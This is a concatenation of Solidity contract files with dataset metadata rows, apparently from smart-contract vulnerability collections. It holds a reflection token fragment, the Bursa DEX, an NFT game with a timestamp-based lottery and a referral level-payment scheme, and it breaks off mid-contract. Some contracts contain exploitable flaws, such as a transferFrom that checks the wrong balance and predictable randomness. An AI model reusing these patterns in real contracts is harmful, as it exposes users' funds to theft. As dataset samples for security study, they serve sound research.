uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 10, 'burnFee should be in 0 - 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 75,737 | 10,313 |
f123e9355a4f19b693decbdc5272022cd9c93e9808805beade3958977f4dd604
| 13,413 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xd3e64580cb5b4d079514dcf2996dea6095a57e30.sol
| 4,166 | 13,337 |
pragma solidity ^0.4.19;
contract Bursa {
address private ceo;
address private admin;
address public updateAvailable;
mapping (address => mapping (uint256 => address)) private willsellUser;
mapping (address => mapping (uint256 => uint256)) private willsellPrice;
mapping (address => mapping (uint256 => uint256)) private willsellAmount;
mapping (address => mapping (uint256 => address)) private willbuyUser;
mapping (address => mapping (uint256 => uint256)) private willbuyPrice;
mapping (address => mapping (uint256 => uint256)) private willbuyAmount;
event Trade(uint256 amount, address token, uint256 price_each, address buyer, address seller);
function Bursa() public {
admin = msg.sender;
ceo = msg.sender;
}
function() public payable {
if (updateAvailable != 0) revert();
funds[msg.sender] += msg.value;
}
function deposit() public payable returns (bool) {
if (updateAvailable != 0) revert();
funds[msg.sender] += msg.value;
return true;
}
function buy(uint256 amount, address token, uint256 max_price_each, uint256 ask_order, address frontend_refund) public payable returns (bool) {
if (msg.value != 0) funds[msg.sender] += msg.value;
if ((willsellPrice[token][ask_order] > max_price_each && max_price_each != 0)
|| amount == 0
|| token == 0
|| token == address(this)
|| ask_order == 0
|| funds[msg.sender] <= 1e15) revert();
address buyer = msg.sender;
address seller = willsellUser[token][ask_order];
if (buyer == seller) {
if (amount >= willsellAmount[token][ask_order]) {
willsellAmount[token][ask_order] = 0;
return true;
}
willsellAmount[token][ask_order] -= amount;
return true;
}
uint256 volume = willsellVolume(token, ask_order);
if (amount > volume) {
if (volume == 0) {
willsellAmount[token][ask_order] = 0;
return false;
}
amount = volume;
}
uint256 pay = willsellPrice[token][ask_order] * amount / 1e18;
uint256 fee;
if (pay > 1e16 && traded[msg.sender]) {
if (frontend_refund == 0 || frontend_refund == msg.sender) {
fee = 7e14;
}
else fee = 1e15;
} // else fee = 0
if (pay + fee > funds[msg.sender]) {
pay = funds[msg.sender] - fee;
amount = pay * 1e18 / willsellPrice[token][ask_order];
}
if (!Bursa(token).transferFrom(seller, buyer, amount)) return false;
funds[seller] = funds[seller] + pay;
funds[buyer] = funds[buyer] - pay - fee;
if (fee == 1e15) funds[frontend_refund] = funds[frontend_refund] + 3e14;
if (traded[msg.sender] == false) {
funds[ceo] = funds[ceo] + pay / 20;
traded[msg.sender] = true;
}
if (amount == volume) {
willsellAmount[token][ask_order] = 0;
}
else willsellAmount[token][ask_order] -= amount;
Trade(amount, token, willsellPrice[token][ask_order], buyer, seller);
return true;
}
function sell(uint256 amount, address token, uint256 min_price_each, uint256 bid_order, address frontend_refund) public payable returns (bool) {
if (msg.value != 0) funds[msg.sender] += msg.value;
if (willbuyPrice[token][bid_order] < min_price_each
|| amount == 0
|| token == 0
|| token == address(this)
|| bid_order == 0) revert();
address buyer = willbuyUser[token][bid_order];
address seller = msg.sender;
if (buyer == seller) {
if (amount >= willbuyAmount[token][bid_order]) {
willbuyAmount[token][bid_order] = 0;
return true;
}
willbuyAmount[token][bid_order] -= amount;
return true;
}
uint256 volume = willbuyVolume(token, bid_order);
if (amount > volume) {
if (volume == 0) {
willbuyAmount[token][bid_order] = 0;
return false;
}
amount = volume;
}
uint256 pay = willbuyPrice[token][bid_order] * amount / 1e18;
uint256 fee;
if (pay > 1e16 && traded[msg.sender]) {
if (frontend_refund == 0 || frontend_refund == msg.sender) {
fee = 7e14;
}
else fee = 1e15;
} // else fee = 0
if (!Bursa(token).transferFrom(seller, buyer, amount)) return false;
funds[buyer] = funds[buyer] - pay;
funds[seller] = funds[seller] + pay - fee;
if (fee == 1e15) funds[frontend_refund] = funds[frontend_refund] + 3e14;
if (traded[msg.sender] == false) {
funds[ceo] = funds[ceo] + pay / 20;
traded[msg.sender] = true;
}
if (amount == volume) {
willbuyAmount[token][bid_order] = 0;
}
else willbuyAmount[token][bid_order] -= amount;
Trade(amount, token, willbuyPrice[token][bid_order], buyer, seller);
return true;
}
function willbuy(uint256 amount, address token, uint256 price_each, uint256 bid_order_spot) public payable returns (bool) {
if (msg.value != 0) funds[msg.sender] += msg.value;
if (updateAvailable != 0
|| amount == 0
|| token == 0
|| token == address(this)
|| price_each == 0
|| bid_order_spot == 0) revert();
while (willbuyAmount[token][bid_order_spot] != 0 && funds[willbuyUser[token][bid_order_spot]] != 0) ++bid_order_spot;
willbuyUser[token][bid_order_spot] = msg.sender;
willbuyPrice[token][bid_order_spot] = price_each;
willbuyAmount[token][bid_order_spot] = amount;
return true;
}
function willsell(uint256 amount, address token, uint256 price_each, uint256 ask_order_spot) public payable returns (bool) {
if (msg.value != 0) funds[msg.sender] += msg.value;
if (updateAvailable != 0
|| amount == 0
|| token == 0
|| token == address(this)
|| price_each == 0
|| ask_order_spot == 0) revert();
while (willsellAmount[token][ask_order_spot] != 0) {
address user = willsellUser[token][ask_order_spot];
uint256 balanceSeller = Bursa(token).balanceOf(user);
if (balanceSeller == 0) break;
uint256 allowanceSeller = Bursa(token).allowance(user, address(this));
if (allowanceSeller == 0) break;
++ask_order_spot;
}
willsellUser[token][ask_order_spot] = msg.sender;
willsellPrice[token][ask_order_spot] = price_each;
willsellAmount[token][ask_order_spot] = amount;
return true;
}
function withdraw(uint256 amount) public {
if (funds[msg.sender] < amount || amount == 0) amount = funds[msg.sender];
funds[msg.sender] -= amount;
msg.sender.transfer(amount);
}
function name() constant public returns (string) {
if (updateAvailable != 0) return "BURSA DEX (deactivated)";
return "BURSA DEX";
}
function balanceOf(address user)
constant public returns (uint256 balance) {
return funds[user];
}
function balanceApprovedForToken(address token, address user)
constant public returns (uint256 amount) {
if (token == 0 || token == address(this)) return funds[user];
amount = Bursa(token).balanceOf(user);
uint256 allowance = Bursa(token).allowance(user, address(this));
if (amount > allowance) amount = allowance;
return amount;
}
function findBestAsk(address token, uint256 min_trade_amount) public
constant returns (uint256 ask_order, uint256 volume, uint256 price) {
price = (uint256)(-1);
uint256 i=1;
while (willsellUser[token][i] != 0) {
if (willsellPrice[token][i] < price && willsellAmount[token][i] != 0) {
volume = willsellVolume(token, i);
if (volume >= min_trade_amount && volume >= 1e15 * 1e18 / (willsellPrice[token][i] + 1)) {
price = willsellPrice[token][i];
ask_order = i;
}
}
++i;
}
if (ask_order == 0) return (0,0,0);
return;
}
function findBestBid(address token, uint256 min_trade_amount) public
constant returns (uint256 bid_order, uint256 volume, uint256 price) {
uint256 i=1;
while (willbuyUser[token][i] != 0) {
if (willbuyPrice[token][i] > price && willbuyAmount[token][i] != 0) {
volume = willbuyVolume(token, i);
if (volume >= min_trade_amount && volume >= 1e15 * 1e18 / (willbuyPrice[token][i] + 1)) {
price = willbuyPrice[token][i];
bid_order = i;
}
}
++i;
}
if (bid_order == 0) return (0,0,0);
return;
}
function willbuyFindSpot(address token) public
constant returns (uint256 bid_order_spot) {
Bursa(token).symbol();
uint256 i=1;
while (willbuyAmount[token][i] >= 1e15 * 1e18 / (willbuyPrice[token][i] + 1) && funds[willbuyUser[token][i]] != 0) ++i;
return i;
}
function willsellFindSpot(address token) public
constant returns (uint256 ask_order_spot) {
Bursa(token).symbol();
uint256 i=1;
while (willsellAmount[token][i] >= 1e15 * 1e18 / (willsellPrice[token][i] + 1)) {
uint256 balanceSeller = Bursa(token).balanceOf(willsellUser[token][i]);
if (balanceSeller == 0) return i;
uint256 allowanceSeller = Bursa(token).allowance(willsellUser[token][i], address(this));
if (allowanceSeller == 0) return i;
++i;
}
return i;
}
function willbuyInfo(address token, uint256 bid_order) public
constant returns (address user, uint256 price, uint256 amount) {
user = willbuyUser[token][bid_order];
price = willbuyPrice[token][bid_order];
amount = willbuyAmount[token][bid_order];
uint256 pay = price * amount / 1e18;
if (pay > funds[user]) {
pay = funds[user];
amount = pay * 1e18 / price;
}
return;
}
function willbuyVolume(address token, uint256 bid_order) private
constant returns (uint256) {
uint256 amount = willbuyAmount[token][bid_order];
address user = willbuyUser[token][bid_order];
if (amount == 0 || funds[user] == 0) return 0;
uint256 price = willbuyPrice[token][bid_order];
uint256 pay = price * amount / 1e18;
if (pay > funds[user]) {
pay = funds[user];
amount = pay * 1e18 / price;
}
return amount;
}
function willsellInfo(address token, uint256 ask_order) public
constant returns (address user, uint256 price, uint256 amount) {
user = willsellUser[token][ask_order];
price = willsellPrice[token][ask_order];
amount = willsellAmount[token][ask_order];
uint256 balanceSeller = Bursa(token).balanceOf(user);
uint256 allowanceSeller = Bursa(token).allowance(user, address(this));
if (balanceSeller > allowanceSeller) balanceSeller = allowanceSeller;
if (amount > balanceSeller) amount = balanceSeller;
return;
}
function willsellVolume(address token, uint256 ask_order) private
constant returns (uint256) {
uint256 amount = willsellAmount[token][ask_order];
if (amount == 0) return 0;
address user = willsellUser[token][ask_order];
uint256 balanceSeller = Bursa(token).balanceOf(user);
if (balanceSeller == 0) return 0;
uint256 allowanceSeller = Bursa(token).allowance(user, address(this));
if (allowanceSeller == 0) return 0;
if (balanceSeller > allowanceSeller) balanceSeller = allowanceSeller;
if (amount > balanceSeller) amount = balanceSeller;
return amount;
}
function symbol() constant public returns (string) {
if (updateAvailable != 0) return "exBURSA";
return "BURSA";
}
function decimals() constant public returns (uint256) {
return 18;
}
function totalSupply() constant public returns (uint256 supply) {
return this.balance;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
if (_value > funds[msg.sender]) _value = funds[msg.sender];
funds[msg.sender] -= _value;
funds[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (_value > funds[msg.sender]) _value = funds[msg.sender];
if (_value > approved[_from][msg.sender]) _value = approved[_from][msg.sender];
funds[_from] -= _value;
funds[_to] += _value;
approved[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_spender == address(this)) return true;
approved[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
if (_spender == address(this)) return balanceOf(_owner);
return approved[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
mapping (address => mapping (address => uint256)) private approved;
mapping (address => uint256) private funds;
mapping (address => bool) private traded;
function refundLostToken(address token, address user) public {
if (msg.sender != admin && msg.sender != ceo) return;
uint256 amount = Bursa(token).balanceOf(address(this));
Bursa(token).transfer(user, amount);
}
function rollUpdate(address _updateAvailable) public {
if (msg.sender == admin || msg.sender == ceo) updateAvailable = _updateAvailable;
}
function assignCEO(address _ceo) public {
if (msg.sender == admin) {
ceo = _ceo;
}
else if (msg.sender == ceo) {
admin = ceo;
ceo = _ceo;
}
}
}
| 274,912 | 10,314 |
e4ae5bcd1a756dc33654fe15b1e1f15078120784f18316e7f56ebdc0cfea1f40
| 17,686 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x308df6e60b7dffc2bdee7fa62d41ef53ac5d4e43.sol
| 3,578 | 12,418 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract ERC721Token is ERC721 {
using SafeMath for uint256;
// Total amount of tokens
uint256 private totalTokens;
// Mapping from token ID to owner
mapping (uint256 => address) private tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private tokenApprovals;
// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) private ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private ownedTokensIndex;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
function totalSupply() public view returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) public view returns (uint256) {
return ownedTokens[_owner].length;
}
function tokensOf(address _owner) public view returns (uint256[]) {
return ownedTokens[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function approvedFor(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
clearApprovalAndTransfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
address owner = ownerOf(_tokenId);
require(_to != owner);
if (approvedFor(_tokenId) != 0 || _to != 0) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
function takeOwnership(uint256 _tokenId) public {
require(isApprovedFor(msg.sender, _tokenId));
clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addToken(_to, _tokenId);
Transfer(0x0, _to, _tokenId);
}
function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal {
if (approvedFor(_tokenId) != 0) {
clearApproval(msg.sender, _tokenId);
}
removeToken(msg.sender, _tokenId);
Transfer(msg.sender, 0x0, _tokenId);
}
function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) {
return approvedFor(_tokenId) == _owner;
}
function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal {
require(_to != address(0));
require(_to != ownerOf(_tokenId));
require(ownerOf(_tokenId) == _from);
clearApproval(_from, _tokenId);
removeToken(_from, _tokenId);
addToken(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _owner);
tokenApprovals[_tokenId] = 0;
Approval(_owner, 0, _tokenId);
}
function addToken(address _to, uint256 _tokenId) private {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
uint256 length = balanceOf(_to);
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
totalTokens = totalTokens.add(1);
}
function removeToken(address _from, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _from);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = balanceOf(_from).sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
tokenOwner[_tokenId] = 0;
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
totalTokens = totalTokens.sub(1);
}
}
contract CommonEth {
//
enum Modes {LIVE, TEST}
//
Modes public mode = Modes.LIVE;
//
address internal ceoAddress;
address internal cfoAddress;
address internal cooAddress;
address public newContractAddress;
event ContractUpgrade(address newContract);
function setNewAddress(address _v2Address) external onlyCEO {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
//
function CommonEth() public {
ceoAddress = msg.sender;
}
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyStaff() {
require(msg.sender == ceoAddress || msg.sender == cooAddress || msg.sender == cfoAddress);
_;
}
modifier onlyManger() {
require(msg.sender == ceoAddress || msg.sender == cooAddress || msg.sender == cfoAddress);
_;
}
//live
modifier onlyLiveMode() {
require(mode == Modes.LIVE || msg.sender == ceoAddress || msg.sender == cooAddress || msg.sender == cfoAddress);
_;
}
//
function staffInfo() public view onlyStaff returns (bool ceo, bool coo, bool cfo, bool qa){
return (msg.sender == ceoAddress, msg.sender == cooAddress, msg.sender == cfoAddress,false);
}
//
function stopLive() public onlyCOO {
mode = Modes.TEST;
}
//LIVE
function startLive() public onlyCOO {
mode = Modes.LIVE;
}
function getMangers() public view onlyManger returns (address _ceoAddress, address _cooAddress, address _cfoAddress){
return (ceoAddress, cooAddress, cfoAddress);
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) public onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
}
contract NFToken is ERC721Token, CommonEth {
//TOKEN
struct TokenModel {
uint id;//id
string serial;//
uint createTime;
uint price;//
uint lastTime;
uint openTime;
}
//tokens
mapping(uint => TokenModel) tokens;
mapping(string => uint) idOfSerial;
//
uint RISE_RATE = 110;
uint RISE_RATE_FAST = 150;
//
uint8 SALE_FEE_RATE = 2;
//
uint CARVE_UP_INPUT = 0.01 ether;
//
uint[10] carveUpTokens = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
uint8 carverUpIndex = 0;
function NFToken() {
setCFO(msg.sender);
setCOO(msg.sender);
}
//
function() external payable {
}
//
event TransferBonus(address indexed _to, uint256 _tokenId, uint _bonus);
//
event UnsoldUpdate(uint256 indexed _tokenId, uint price, uint openTime);
//
event JoinCarveUp(address indexed _account, uint _tokenId, uint _input);
//
event CarveUpBonus(address indexed _account, uint _tokenId, uint _bonus);
//
function joinCarveUpTen(uint _tokenId) public payable onlyLiveMode onlyOwnerOf(_tokenId) returns (bool){
//
require(msg.value == CARVE_UP_INPUT);
//
for (uint8 i = 0; i < carverUpIndex; i++) {
require(carveUpTokens[i] != _tokenId);
}
//
carveUpTokens[carverUpIndex] = _tokenId;
//&
JoinCarveUp(msg.sender, _tokenId, msg.value);
//10,
if (carverUpIndex % 10 == 9) {
//0
carverUpIndex = 0;
uint theLoserIndex = (now % 10 + (now / 10 % 10) + (now / 100 % 10) + (now / 1000 % 10)) % 10;
for (uint8 j = 0; j < 10; j++) {
if (j != theLoserIndex) {
uint bonus = CARVE_UP_INPUT * 110 / 100;
ownerOf(carveUpTokens[j]).transfer(bonus);
CarveUpBonus(ownerOf(carveUpTokens[j]), carveUpTokens[j], bonus);
}else{
CarveUpBonus(ownerOf(carveUpTokens[j]), carveUpTokens[j], 0);
}
}
//&
carveUpTokens = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
} else {
carverUpIndex++;
}
return true;
}
// 2%
function buy(uint _id) public payable onlyLiveMode returns (bool){
TokenModel storage token = tokens[_id];
require(token.price != 0);
require(token.openTime < now);
//
require(msg.value >= token.price);
//
ownerOf(_id).transfer(token.price * (100 - 2 * SALE_FEE_RATE) / 100);
//
if (totalSupply() > 1) {
uint bonus = token.price * SALE_FEE_RATE / 100 / (totalSupply() - 1);
for (uint i = 1; i <= totalSupply(); i++) {
if (i != _id) {
ownerOf(i).transfer(bonus);
TransferBonus(ownerOf(i), i, bonus);
}
}
}
//
clearApprovalAndTransfer(ownerOf(_id), msg.sender, _id);
//
if (token.price < 1 ether) {
token.price = token.price * RISE_RATE_FAST / 100;
} else {
token.price = token.price * RISE_RATE / 100;
}
token.lastTime = now;
return true;
}
//
function createByCOO(string serial, uint price, uint openTime) public onlyCOO returns (uint){
uint currentTime = now;
return __createNewToken(this, serial, currentTime, price, currentTime, openTime).id;
}
//token
function updateUnsold(string serial, uint _price, uint _openTime) public onlyCOO returns (bool){
require(idOfSerial[serial] > 0);
TokenModel storage token = tokens[idOfSerial[serial]];
require(token.lastTime == token.createTime);
token.price = _price;
token.openTime = _openTime;
UnsoldUpdate(token.id, token.price, token.openTime);
return true;
}
//token
function __createNewToken(address _to, string serial, uint createTime, uint price, uint lastTime, uint openTime) private returns (TokenModel){
require(price > 0);
require(idOfSerial[serial] == 0);
uint id = totalSupply() + 1;
idOfSerial[serial] = id;
TokenModel memory s = TokenModel(id, serial, createTime, price, lastTime, openTime);
tokens[id] = s;
_mint(_to, id);
return s;
}
//ID
function getTokenById(uint _id) public view returns (uint id, string serial, uint createTime, uint price, uint lastTime, uint openTime, address owner)
{
return (tokens[_id].id, tokens[_id].serial, tokens[_id].createTime, tokens[_id].price, tokens[_id].lastTime, tokens[_id].openTime, ownerOf(_id));
}
//
function getCarveUpTokens() public view returns (uint[10]){
return carveUpTokens;
}
//
function withdrawContractEther(uint withdrawAmount) public onlyCFO {
uint256 balance = this.balance;
require(balance - carverUpIndex * CARVE_UP_INPUT > withdrawAmount);
cfoAddress.transfer(withdrawAmount);
}
//
function withdrawAbleEther() public view onlyCFO returns (uint){
return this.balance - carverUpIndex * CARVE_UP_INPUT;
}
}
| 191,804 | 10,315 |
3f3c693d5dd471efdb29f533a62e869bf7239f3e1e3e8a21ab1050d905995ea3
| 13,426 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TQ/TQouHocLzSNSjZLLZLD1fkyxXvNJ9J2fn7_MKS.sol
| 4,313 | 12,906 |
//SourceUnit: mks.sol
pragma solidity 0.5.9;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns(uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract MKS is SafeMath {
uint public currentUserID;
mapping (uint => User) public users;
mapping (address => uint) public userWallets;
uint[2] public levelBase;
uint public roundsAmount;
uint public rpCoeff;
address[2] private techAccounts;
struct User {
bool exists;
address wallet;
uint referrer;
mapping (uint => uint) uplines;
mapping (uint => uint[]) referrals;
mapping (uint => uint) levelExpiry;
}
event RegisterUserEvent(address indexed user, address indexed referrer, uint time);
event BuyLevelEvent(address indexed user, uint indexed level, uint time);
event TransferEvent(address indexed recipient, address indexed sender, uint indexed amount, uint time, uint recipientID, uint senderID, bool superprofit);
event LostProfitEvent(address indexed recipient, address indexed sender, uint indexed amount, uint time, uint senderID);
constructor(address _owner) public {
techAccounts = [address(0x418277e00bdbfc83e1a97103937d041cd45d6f81d7), address(0x41e655661306a06e87fdcd68b161de8c285c7d8883)];
currentUserID++;
levelBase = [450, 600];
roundsAmount = 12;
rpCoeff = 2;
users[currentUserID] = User({ exists: true, wallet: _owner, referrer: 1});
userWallets[_owner] = currentUserID;
emit RegisterUserEvent(_owner, _owner, now);
for (uint i = 0; i < 24; i++) {
users[currentUserID].levelExpiry[i] = 1 << 37;
}
for (uint i = 1; i < 8; i++) {
users[currentUserID].uplines[i] = 1;
users[currentUserID].referrals[i] = new uint[](0);
}
for(uint i = 0; i < techAccounts.length; i++){
currentUserID++;
users[currentUserID] = User({ exists: true, wallet: techAccounts[i], referrer: 1});
userWallets[techAccounts[i]] = currentUserID;
emit RegisterUserEvent(techAccounts[i], _owner, now);
for(uint levelID = 0; levelID < 24; levelID++){
users[currentUserID].levelExpiry[levelID] = 1 << 37;
}
for (uint j = 1; j < 8; j++) {
users[currentUserID].uplines[j] = 1;
users[currentUserID].referrals[j] = new uint[](0);
users[1].referrals[j].push(currentUserID);
}
}
}
function () external payable {
if (userWallets[msg.sender] == 0) {
registerUser(userWallets[bytesToAddress(msg.data)]);
} else {
buyLevel(0);
}
}
function registerUser(uint _referrer) public payable {
require(msg.value == levelBase[0] * 1e6, 'Wrong amount');
require(_referrer > 0 && _referrer <= currentUserID, 'Invalid referrer ID');
require(userWallets[msg.sender] == 0, 'User already registered');
currentUserID++;
users[currentUserID] = User({ exists: true, wallet: msg.sender, referrer: _referrer });
userWallets[msg.sender] = currentUserID;
levelUp(0, 1, 1, currentUserID, _referrer);
emit RegisterUserEvent(msg.sender, users[_referrer].wallet, now);
}
function buyLevel(uint _upline) public payable {
uint userID = userWallets[msg.sender];
require (userID > 0, 'User not registered');
(uint round, uint level, uint levelID) = getLevel(msg.value);
if (level == 1 && round > 1) {
bool prev = false;
for (uint l = levelID - 1; l < levelID; l++) {
if (users[userID].levelExpiry[l] >= now) {
prev = true;
break;
}
require(prev == true, 'Previous round not active');
}
} else {
for (uint l = level - 1; l > 0; l--) {
require(users[userID].levelExpiry[levelID - level + l] >= now, 'Previous level not active');
}
}
levelUp(levelID, level, round, userID, _upline);
if (level == 4 && round < 7 && users[userID].levelExpiry[levelID + 3] <= now) levelUp(levelID + 2, 1, round + 1, userID, _upline);
if (address(this).balance > 0) msg.sender.transfer(address(this).balance);
}
function levelUp(uint _levelid, uint _level, uint _round, uint _userid, uint _upline) internal {
uint duration = 20 days * _round + 70 days;
if (users[_userid].levelExpiry[_levelid] == 0 || users[_userid].levelExpiry[_levelid] < now) {
users[_userid].levelExpiry[_levelid] = now + duration;
} else {
users[_userid].levelExpiry[_levelid] += duration;
}
if (_level == 1 && users[_userid].uplines[_round] == 0) {
if (_upline == 0) _upline = users[_userid].referrer;
if (_round > 1) _upline = findUplineUp(_upline, _round);
_upline = findUplineDown(_upline, _round);
users[_userid].uplines[_round] = _upline;
users[_upline].referrals[_round].push(_userid);
}
payForLevel(_levelid, _userid, _level, _round, false);
emit BuyLevelEvent(msg.sender, _levelid, now);
}
function payForLevel(uint _levelid, uint _userid, uint _height, uint _round, bool _superprofit) internal {
uint referrer = getUserUpline(_userid, _height, _round);
uint amount = lvlAmount(_levelid);
if (users[referrer].levelExpiry[_levelid] < now) { // does upline have these level?
if(users[referrer].levelExpiry[_levelid - 1] < now){ // does upline have previous level?
//no previous level either => emit lost profit event
emit LostProfitEvent(users[referrer].wallet, msg.sender, amount, now, userWallets[msg.sender]);
payForLevel(_levelid, referrer, _height, _round, true);
} else {
//has previous level => autolevelup
levelUp(_levelid, _height, _round, referrer, 0);
}
return;
}
if (address(uint160(users[referrer].wallet)).send(amount)) {
emit TransferEvent(users[referrer].wallet, msg.sender, amount, now, referrer, userWallets[msg.sender], _superprofit);
}
}
